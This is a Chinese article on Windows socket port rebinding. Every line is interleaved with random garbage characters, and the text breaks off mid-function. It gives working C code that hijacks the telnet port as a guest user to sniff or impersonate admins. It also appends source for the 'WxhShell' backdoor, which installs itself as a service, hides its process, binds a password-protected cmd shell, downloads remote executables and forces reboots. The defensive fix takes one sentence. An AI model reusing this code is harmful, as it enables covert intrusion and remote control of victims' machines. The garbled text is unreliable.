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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 7r(c@4yPI s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); })mD{c/ ^^uY)AL saddr.sin_family = AF_INET; -zt*C&)b %F-yFN" saddr.sin_addr.s_addr = htonl(INADDR_ANY); $_HyE%F# ZX+0{E8a bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 6PWw^Cd P?8$VAkj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 )`|`PB 8c%N+E] 这意味着什么?意味着可以进行如下的攻击: j{tr''yN 2=7[r-*E 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8ce'G"
b \:JY[s/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IK4(r / 1!+0]_8K 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3$_- 0> X,8Zn06M 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 _-v$fDrz 7oL:C 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 %6V=G5+W ,( hP /< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 b9b`%9/L :IsJE6r 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >*l2]3'` U+D# #include &d!ASa #include Ms%C:KG #include %f&Bt,xEo #include ^s=F<_{ DWORD WINAPI ClientThread(LPVOID lpParam); aiw4J int main() @@!]Raj= { B.b sU WORD wVersionRequested; =(,kjw88w DWORD ret; 0+_;6 WSADATA wsaData; {FC<vx{42 BOOL val; I.2>d_^< SOCKADDR_IN saddr; 8y?q)y9h SOCKADDR_IN scaddr; S@,x^/vT int err; 0@&;JMh6< SOCKET s; ^d9o \ SOCKET sc; !.q#X^@>L int caddsize; wv%UsfD HANDLE mt; 0*uJS`se6Z DWORD tid; ^zG!Z:E wVersionRequested = MAKEWORD( 2, 2 ); ']X0g{% err = WSAStartup( wVersionRequested, &wsaData ); m[N&UM# if ( err != 0 ) { bg|=)sw4 printf("error!WSAStartup failed!\n"); \w$e|[~ return -1; ${t$:0R,h } fB4zqMSfE saddr.sin_family = AF_INET; _Mh..#)`[ N45@)s!F9j //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uE#i3(
J Bq,Pk5b saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pqbKPpG saddr.sin_port = htons(23); ZGd7e.u= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #g
Rns { rO,n~|YJ printf("error!socket failed!\n"); [Fd[( return -1; *unJd"<*&@ } _z"\3hZ val = TRUE; Z= pvoTY //SO_REUSEADDR选项就是可以实现端口重绑定的 PB{5C*Y7^k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Dx P65wU { $*9:a3>zny printf("error!setsockopt failed!\n"); K}LF ${bS return -1; . Eb=KG } cgQ2Wo7tCq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; V4g vKWc //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qyBo|AQ5 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s*kSl:T@O {~=gKZ:-@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D rouEm { yyjgPbLN= ret=GetLastError(); 61z^(F$@ printf("error!bind failed!\n"); z8PV&o return -1; W%#LHluP } M;0\fUh; listen(s,2); %BkPkQA while(1) C9`x"$ { s:sk`~2<gd caddsize = sizeof(scaddr); ).r04)/ //接受连接请求 g$Nsu:L sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;q2e[ y if(sc!=INVALID_SOCKET) n{%[G2.A { d]l(B+\vf mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !R$t>X if(mt==NULL) 3.04Toq! { xC$CRzAe5p printf("Thread Creat Failed!\n"); HD}3mP break; *C^`+*}OE$ } k/%n7 ;1 } OFw93UJ Y CloseHandle(mt); s|Zv>Qt } $Mqw)X&q closesocket(s); ARid WSACleanup(); kc"SUiy/ return 0; _
3jY,* } `vrLFPdO DWORD WINAPI ClientThread(LPVOID lpParam) ZOHGGO]1M { `S/;S<'; SOCKET ss = (SOCKET)lpParam; a#P{ [ SOCKET sc; ey[+"6Awne unsigned char buf[4096]; d?OsVT;U SOCKADDR_IN saddr; {(`xA,El long num; '.tg\]| DWORD val; H?'t>JX DWORD ret; U\tujK1 //如果是隐藏端口应用的话,可以在此处加一些判断 )u5+<OG}= //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 PPj0LFA saddr.sin_family = AF_INET; f.u+({"ql saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^Hv4t saddr.sin_port = htons(23); _i1x\Z~
N if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) kT{d pGU9 { f!##R-A printf("error!socket failed!\n"); 8>V)SAI' return -1; 'sTMUPg` } J]4Uh_>) val = 100; B3&`/{u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ha20g/UN. { ^eWD4Vp|4 ret = GetLastError(); K<ok1g'0 return -1; \@:mq]Y } 3R$*G8v if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) W&0KO-}ot { !5[5l!{x ret = GetLastError(); 8 gzf$Oc return -1; Z"'tJ3Y.~ } LO
M-i> if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c{K[bppJ* { [>U =P` printf("error!socket connect failed!\n"); NYp46; closesocket(sc); 3 n=ftkI closesocket(ss); %u02KmV. return -1; 5Qgh\4 } =LMM]'no, while(1) 97L#3L6t { ygfUy //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R8<P}mv //如果是嗅探内容的话,可以再此处进行内容分析和记录 "94qBGf //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %13V@'e9 num = recv(ss,buf,4096,0); :B]yreg if(num>0) *4|]=yPU send(sc,buf,num,0); _+2Jc}Yf else if(num==0) H{j
jA+0 break; E?[]N[0Kl num = recv(sc,buf,4096,0); ,[<+7 if(num>0) @a}jnl(2 send(ss,buf,num,0); n|f Huv else if(num==0) +yo1&b R/ break; = F"vL } z;ko ) closesocket(ss); eUE(vn# closesocket(sc); '?MT"G return 0 ; $^j#z^7 } /L? ia o+^5W &i?>mt ========================================================== rWB/#m Dk`(Wgk2 下边附上一个代码,,WXhSHELL r:Rk!z* s+OXT4>+ ========================================================== jQrw^6C b;%>?U`>p #include "stdafx.h" :927y &pZncm #include <stdio.h> tDIQ= #include <string.h> d/Y#oVI #include <windows.h> }MXC0Z~si #include <winsock2.h> |Y&&g=7 #include <winsvc.h> j0+l-]F- #include <urlmon.h> - HiRXB
d|
OEZx #pragma comment (lib, "Ws2_32.lib") %d"d<pvx #pragma comment (lib, "urlmon.lib") C6{\^kG^j2 _?QVc0S! #define MAX_USER 100 // 最大客户端连接数 #9ZHt5T=$ #define BUF_SOCK 200 // sock buffer M=Cl| #define KEY_BUFF 255 // 输入 buffer =/SBZLR(9 ]XhX aoqL #define REBOOT 0 // 重启 wY6m^g$h3 #define SHUTDOWN 1 // 关机 G=l-S\0@ YecV+K'p: #define DEF_PORT 5000 // 监听端口 XlDN)b5v{ `4kVe= { #define REG_LEN 16 // 注册表键长度 ].r~?9'/ #define SVC_LEN 80 // NT服务名长度 {IA3`y~ ztb?4f q6) // 从dll定义API * faG0le typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !$L~/<&0g typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); f )Ef-o typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #$0*Gd-N typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !}PZCbDhL BMs?+ // wxhshell配置信息 b:t|9FE% struct WSCFG { ~D\zz }l int ws_port; // 监听端口 VBv|7S char ws_passstr[REG_LEN]; // 口令 oo2CF!Xy int ws_autoins; // 安装标记, 1=yes 0=no *BFG{P char ws_regname[REG_LEN]; // 注册表键名 PEDV9u[A char ws_svcname[REG_LEN]; // 服务名 >PmnR>x-rj char ws_svcdisp[SVC_LEN]; // 服务显示名 $1}Y4>3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 xh|<`>5 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &UfP8GE9 int ws_downexe; // 下载执行标记, 1=yes 0=no RBOg;EJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" iV2v<ap.n char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ;nbV-<e (utk) }; g?E8zf ` Q"F" 13 // default Wxhshell configuration 8]j*z n?, struct WSCFG wscfg={DEF_PORT, 3}kG ]# "xuhuanlingzhe", <@H`5[R 1, _2
oZhJ "Wxhshell", s&7TARd "Wxhshell",
Ci(c`1av "WxhShell Service", ( we)0AxF' "Wrsky Windows CmdShell Service", u1;sH{YK> "Please Input Your Password: ", k$3Iv"gbx 1, dwJnPJ=z " http://www.wrsky.com/wxhshell.exe", </]a`h] "Wxhshell.exe"
tg6iHFa }; /l>!7 9oQ$w?=#$ // 消息定义模块 PT39VI
= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )0?u_Z]w9 char *msg_ws_prompt="\n\r? for help\n\r#>"; >0E3Em<(}l char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _|VF^\i char *msg_ws_ext="\n\rExit."; s
a{x.2/o} char *msg_ws_end="\n\rQuit."; <N{Y*,^z char *msg_ws_boot="\n\rReboot..."; }?^]-`b char *msg_ws_poff="\n\rShutdown..."; 4@r76v}{ char *msg_ws_down="\n\rSave to "; w8}jmpnI )m_q2xV char *msg_ws_err="\n\rErr!"; A9Icn>3?`( char *msg_ws_ok="\n\rOK!"; = P$Q;d W$xW9u8@+( char ExeFile[MAX_PATH]; *aW:Z6N int nUser = 0; )|wC 1J!L HANDLE handles[MAX_USER]; :hTmt{LjN int OsIsNt; 2@,rIve EslHml# SERVICE_STATUS serviceStatus; N"8'=wB SERVICE_STATUS_HANDLE hServiceStatusHandle; Y^tUcBm\ ;a 6Z=LB // 函数声明 [*U.bRs int Install(void); M$s9 int Uninstall(void); yb6gYN int DownloadFile(char *sURL, SOCKET wsh); LK+67Y{25 int Boot(int flag); IoZ_zz0 void HideProc(void); ~s*kuj'%+ int GetOsVer(void); &}r-C97 int Wxhshell(SOCKET wsl); S S fNI> void TalkWithClient(void *cs); d<RJH int CmdShell(SOCKET sock); w@WPp0mny int StartFromService(void); K_F"j!0 int StartWxhshell(LPSTR lpCmdLine); GIhX2EvAS 5Nl?Km~ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ug )eyu VOID WINAPI NTServiceHandler( DWORD fdwControl ); q.VZ P gH
yJ~ // 数据结构和表定义 "0LSy x SERVICE_TABLE_ENTRY DispatchTable[] = ?Ta<.j { x
Nb7VUV7 {wscfg.ws_svcname, NTServiceMain}, ipyc(u6Z5 {NULL, NULL} L)c]i'WZ }; c 5 `74g U".5x~UC // 自我安装 upnX7as int Install(void) ;FJFr*PM { [>KnMi=o) char svExeFile[MAX_PATH]; CbwQbJ/v7 HKEY key; Pk>S;KT. strcpy(svExeFile,ExeFile); nK}-^Ur Qs ysy // 如果是win9x系统,修改注册表设为自启动 j'`-3<k if(!OsIsNt) { KW!+Ws if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g@Pq< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y`."=8R~ RegCloseKey(key); P9W?sPnC5 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t;`ULp~& RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5zOC zm RegCloseKey(key); mt~E&Z(A return 0; E24j(> } .bUj } YJ|U|[ } 3&6sQ-}* else { "}vxHN# 4~1lP&
// 如果是NT以上系统,安装为系统服务 @z^7*#vQv SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~G1B}c] if (schSCManager!=0) ~OWpk)Vq { |K" nSXzk SC_HANDLE schService = CreateService DMOP*;Uk ( UF$O@l schSCManager, +8Y|kC{9" wscfg.ws_svcname, g7{:F\S wscfg.ws_svcdisp, GI@;76Qf SERVICE_ALL_ACCESS, C3'?E<F SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , izzX$O[=: SERVICE_AUTO_START, l#~pK6@W SERVICE_ERROR_NORMAL, R90#T6^ svExeFile, j2%fAs< NULL, @}2EEo# NULL, 51tZ:-1! NULL, }0?XF/e(R NULL, Shv$"x:W NULL r'4Dj&9Ac ); Ww"]3 if (schService!=0) qeb} ~FL"o { N<b~,[yCd> CloseServiceHandle(schService); &8I}q]'k CloseServiceHandle(schSCManager); T;]Ob3(BpW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AiB]A} strcat(svExeFile,wscfg.ws_svcname); *Nfotv if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (\'$$ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zp5ZZcj_ RegCloseKey(key); o=6 <?v7 return 0; e]5NA?2j } ^$X|Lq } z,bK.KFSs CloseServiceHandle(schSCManager); ym+Ezb#o } G;d3.ml/aZ } ~nb(e$?N m2P&DdN[ return 1; T0~~0G)k } @1xIph<z W23Q>x&S // 自我卸载 Te`@{> int Uninstall(void) A!Tm[oqu { Q7-iy HKEY key; !l]_c5 iXq*EZb"R if(!OsIsNt) { *Q)-"]O(k if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +z:>Nl RegDeleteValue(key,wscfg.ws_regname); B]vR=F}* RegCloseKey(key); +prUau* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ns*:mGh RegDeleteValue(key,wscfg.ws_regname); #SG.`J<% RegCloseKey(key); dS\!tdHP-Q return 0; -2(?O`tZ } IMBjI#\ } R1/c@HQw? } =XK}eQ_d else { |KY-kRN7 <LzxnTx= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V%z?wDC if (schSCManager!=0) ens]?,`0 { t\}_WygN SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); <EQaYZY= if (schService!=0) z;y{QO { s;..a&C' if(DeleteService(schService)!=0) { B"zB=Aw CloseServiceHandle(schService); $7W5smW/ CloseServiceHandle(schSCManager); [$pb return 0; jD%|@ux } \<\H1;=.@' CloseServiceHandle(schService); &]GR*a } *X{7m]5 CloseServiceHandle(schSCManager); IsShAi } TZ `Ypi7r } Gz BPI'C ,k=8|=aF return 1; ~#i2reG5 } !tcz_% k5J18S // 从指定url下载文件 S;jD@j\t& int DownloadFile(char *sURL, SOCKET wsh) tv`b## { l($8HAJ HRESULT hr; R\XS5HOE( char seps[]= "/"; P3n#s2o6y char *token; "}#%h&, char *file; \*'@F+ char myURL[MAX_PATH]; 5!cp^[rGL char myFILE[MAX_PATH]; O!^ >YvOh KeRC8mYp strcpy(myURL,sURL); :WX
OD token=strtok(myURL,seps); j*[P\Cm while(token!=NULL) /zb/am1# { (z.n9lkfi file=token; \uZ|2WG` token=strtok(NULL,seps); lM}-'8tt? } M nZljB /CMgWGI GetCurrentDirectory(MAX_PATH,myFILE); F'sX ^/; strcat(myFILE, "\\"); ]uMZvAjb strcat(myFILE, file); Yh!=mW!OY send(wsh,myFILE,strlen(myFILE),0); Shn=Q send(wsh,"...",3,0); vz>9jw:Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Rd5-ao4 if(hr==S_OK) EI7n|X
a1q return 0; [3s-S+n
@ else GlTpK^. return 1; Kw$@_~BJ6 :o8|P } iETUBZ t72u%M6 // 系统电源模块 eY'nS int Boot(int flag) 4L ]4WVc { `GW&*[.7 HANDLE hToken; |59)6/i TOKEN_PRIVILEGES tkp; |JF,n~n *4NY"EwjN if(OsIsNt) { gzn:]Y^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8>W52~^fU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); leb/D>y tkp.PrivilegeCount = 1; !=PH5jTY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '*65j AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dKCl#~LAI' if(flag==REBOOT) { 3)ox8,{%} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %8|lAMTY7/ return 0; -gk2$P- } .r{t&HO;Y else { m_CWVw if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?bt;i>O\ return 0; 88,hza`#V } Hg<aU*o; } 7)5G 1 else { VevG 64o if(flag==REBOOT) { K-)!d$$
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D_0sXIbg return 0; ybqmPT'|_ } )W>$_QxbN else { T#i;=NP" if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) x {Utf$| return 0; nOd;Zw } XHj%U } O8b#'f~ cW_wIy\]& return 1; i%.k{MY }
[?|yQ x |h6!b t!= // win9x进程隐藏模块 vA!IcDP" void HideProc(void) :Ae#+([V { `^[Tu 1 {<@ud0A:\ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @s
cn ?t if ( hKernel != NULL ) k{#k: { )Z1&`rv pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9aLd!PuTN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t0e5L{ QJ FreeLibrary(hKernel); ui,!_O .c } IqFcrU$4 I:/|{:5 return; A+8)VlE\ } ;$zvm`|: ^h2+"" // 获取操作系统版本 NQ;X|$!zH int GetOsVer(void) 97\K ]Tr { p7-\a1P3 OSVERSIONINFO winfo; FXDB> }8 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hZ452W GetVersionEx(&winfo); K$,<<hl if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mz%l4w?' return 1; }q]*aADe else }A@:JR+|
return 0; W)bSLD } j3;W-c`5 &U?4e'N)T // 客户端句柄模块 Z8FgxR int Wxhshell(SOCKET wsl) <!FcQVH+L { ]s0wJD= SOCKET wsh; zps=~| struct sockaddr_in client; /7\q#qIm: DWORD myID; ]r0j iTq&h=(n while(nUser<MAX_USER) tt2
S.j { 9ghzK?Yc int nSize=sizeof(client); X"d"a={] wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9/e>%1. if(wsh==INVALID_SOCKET) return 1; c`\/] ]tT=jN&( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y[85eM if(handles[nUser]==0) qQ^CSn98J closesocket(wsh); gAorb\iJ else Ul/m]b6- nUser++; \1joW# } 9%|skTgIqH WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^
'|y^t LH_H
yP_ return 0; |[iO./zP } 3%(r,AD Be@g|'r // 关闭 socket R|(X_A void CloseIt(SOCKET wsh) NYP3u_
QX { cL*oO@I&_ closesocket(wsh); LKc p.i nUser--; =,;$d*h ExitThread(0); frPQi{u$ } Z3c\}HLY _[z)%`kay // 客户端请求句柄 -ak.wwx\ void TalkWithClient(void *cs) FWW@t1) { /iM1 G\MeJSt* SOCKET wsh=(SOCKET)cs; K;"oK char pwd[SVC_LEN];
0LL65[ char cmd[KEY_BUFF]; HP_h!pvx char chr[1]; )e'F[ int i,j; ^`lrKk
0n6eWwY while (nUser < MAX_USER) { R[l`# I w (RRu~J if(wscfg.ws_passstr) { TO5y.M|7 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ibZ[U p? //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1G12FV>M //ZeroMemory(pwd,KEY_BUFF); @fmp2!?6 i=0; i0wBZ i? while(i<SVC_LEN) { @d~]3T :Ob^b3<t // 设置超时 =>c0NT fd_set FdRead; GqsV6kH struct timeval TimeOut; '@+q_v@Jl FD_ZERO(&FdRead); Ew{*)r)m FD_SET(wsh,&FdRead); *&Iv Eu TimeOut.tv_sec=8; /D^ g" TimeOut.tv_usec=0; $mKExW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]!^wB 3j if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "@^<~bw dF 6od if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *q=\e 9 pwd =chr[0]; 7J5jf231 if(chr[0]==0xd || chr[0]==0xa) { eDP&W$s# pwd=0; 12'MzIsU's break; ,N,@9p } @.a59kP8X i++; mD% qDKI } C.#Ha-@uz 3]9wfT%d // 如果是非法用户,关闭 socket ,7s+-sRG if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |,`"Omb9+m } z7XI`MZN^ l3^'b p6HQ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0iM'),v[] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^
op0"
#B HU/4K7e` while(1) { bXOM=T {aV,h@> ZeroMemory(cmd,KEY_BUFF); >6&Rytcc] q9{ h@y // 自动支持客户端 telnet标准 ltkARc3 j=0; :d35?[ while(j<KEY_BUFF) { TAOsg0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;PG=
3j_ cmd[j]=chr[0]; vv2[t if(chr[0]==0xa || chr[0]==0xd) { _8y4U[L cmd[j]=0; .p=J_%K}0x break; r
^*D8 } 2^`k6V! j++; :oW 16m1` } XSN=0N!GB P8h|2,c% // 下载文件 JBHPI@Qt% if(strstr(cmd,"http://")) { @>$qb|j send(wsh,msg_ws_down,strlen(msg_ws_down),0); cy?#LS if(DownloadFile(cmd,wsh)) =2(52#pT send(wsh,msg_ws_err,strlen(msg_ws_err),0); GY@:[u.& else ;AVIt!(L~V send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LU8[$.P } <w*WL_P else { ct=K.m@E%X >h~ik/|* switch(cmd[0]) { *v(Q-FW y"7*u
3>" // 帮助 p`\>GWuT! case '?': { XABP}|aWK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); VuTTWBx break; HbPn<x^7 } 6hR `sE // 安装 C7W<7DBf case 'i': { >0iCQKq if(Install()) #b)`as?!1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); |N6.:K[` else K%
snE7X?) send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Yc6.v8a break; u.n'dF- } S?JGg.) // 卸载 vN_ 8qzWk case 'r': { *fj]L?, if(Uninstall()) 60ciI,_` send(wsh,msg_ws_err,strlen(msg_ws_err),0); A\9LJ#E else 0uM&F[.x@g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -\B*reC break; nvwf!iU6 } [FF}HWf // 显示 wxhshell 所在路径 nTtEv~a_n case 'p': { :EYUBtTj char svExeFile[MAX_PATH]; n!SHExBp strcpy(svExeFile,"\n\r"); j$lf>.[I strcat(svExeFile,ExeFile); Z;1r=p#s send(wsh,svExeFile,strlen(svExeFile),0); H0])>1sWB break; P'}B5I~ } p{ZyC // 重启 @T L|\T case 'b': { {fV$\^c send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0k5 uqGLXe if(Boot(REBOOT)) k$f2i,7' send(wsh,msg_ws_err,strlen(msg_ws_err),0); (dyY@={q else {
F(lJ closesocket(wsh); 9I<~t@q5e@ ExitThread(0); 2v@B7r4} } ] `q]n break; kMLJa=]$ } tEo-Mj5: // 关机 NMhpKno case 'd': { rx9y^E5T`; send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?tqJkL# if(Boot(SHUTDOWN)) uF}B:53A send(wsh,msg_ws_err,strlen(msg_ws_err),0); b3 =Z~iLv else { [MbbL closesocket(wsh); +kE~OdZG ExitThread(0); (G{S* + } /uR/,R++ break; k #\j \t- } [S~Bt78d%r // 获取shell 1/;E8{ case 's': { ;34p
[RT CmdShell(wsh); yVXVH CB closesocket(wsh); P{QHG 3 ExitThread(0); Z1($9hE> break; uH'? Ikx" } 8L_OH // 退出 S|@/"?DC case 'x': { N`?/kubD send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 0T(+z)Ki CloseIt(wsh); zd!%7
UP break; #6D>e~>n } 9v-Y*\!w. // 离开 /~;!Ew|q case 'q': { +|X`cmnuU send(wsh,msg_ws_end,strlen(msg_ws_end),0); <Ist^h+o closesocket(wsh); a8Xwz@ M WSACleanup(); 1(>2tEjYT exit(1); |sFd5X break; @+p(% }
f.aa@> } #OjyUQ, } mPQT%%MF wWf_d jd // 提示信息 tk h
*su if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q I~*G3 } yoF*yUls^E } sSGXd=": x6!Q''f7 return; A:Gd F-;[ } 9c,/490Q =23@"ji@D // shell模块句柄 olxxs( int CmdShell(SOCKET sock) ln8NcAEx { P*|=Z>%[0 STARTUPINFO si; , .;0xyc ZeroMemory(&si,sizeof(si)); I"3C/ pU2 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6H U*, si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZADMtsk PROCESS_INFORMATION ProcessInfo; ZS]Z0iZv9 char cmdline[]="cmd"; a:HN#P)12 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); , u%V% return 0; <pHm=q/U } -gba&B+D" MVvBd3 // 自身启动模式 j}
^3v # int StartFromService(void) w3>11bE { F$'u` typedef struct $Q'z9ghEg { v_/<f&r DWORD ExitStatus; k_1@?&3 DWORD PebBaseAddress; lic-68T DWORD AffinityMask; HOPy&Fp DWORD BasePriority; x@bqPZ t ULONG UniqueProcessId; oZ tCx ULONG InheritedFromUniqueProcessId; whHuV*K} } PROCESS_BASIC_INFORMATION; f>ktv76 n4+q7 PROCNTQSIP NtQueryInformationProcess; PO6yEr lfC]!=2%~8 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <? !' static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; jg{2Sxf!c +5Dc5Bl HANDLE hProcess; Y0EX{oxt1 PROCESS_BASIC_INFORMATION pbi; zYY]+)k? G?XA",AC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mb\(52`)Q if(NULL == hInst ) return 0; 6g"h}p\{S ['pO=ho g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0hGmOUO g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 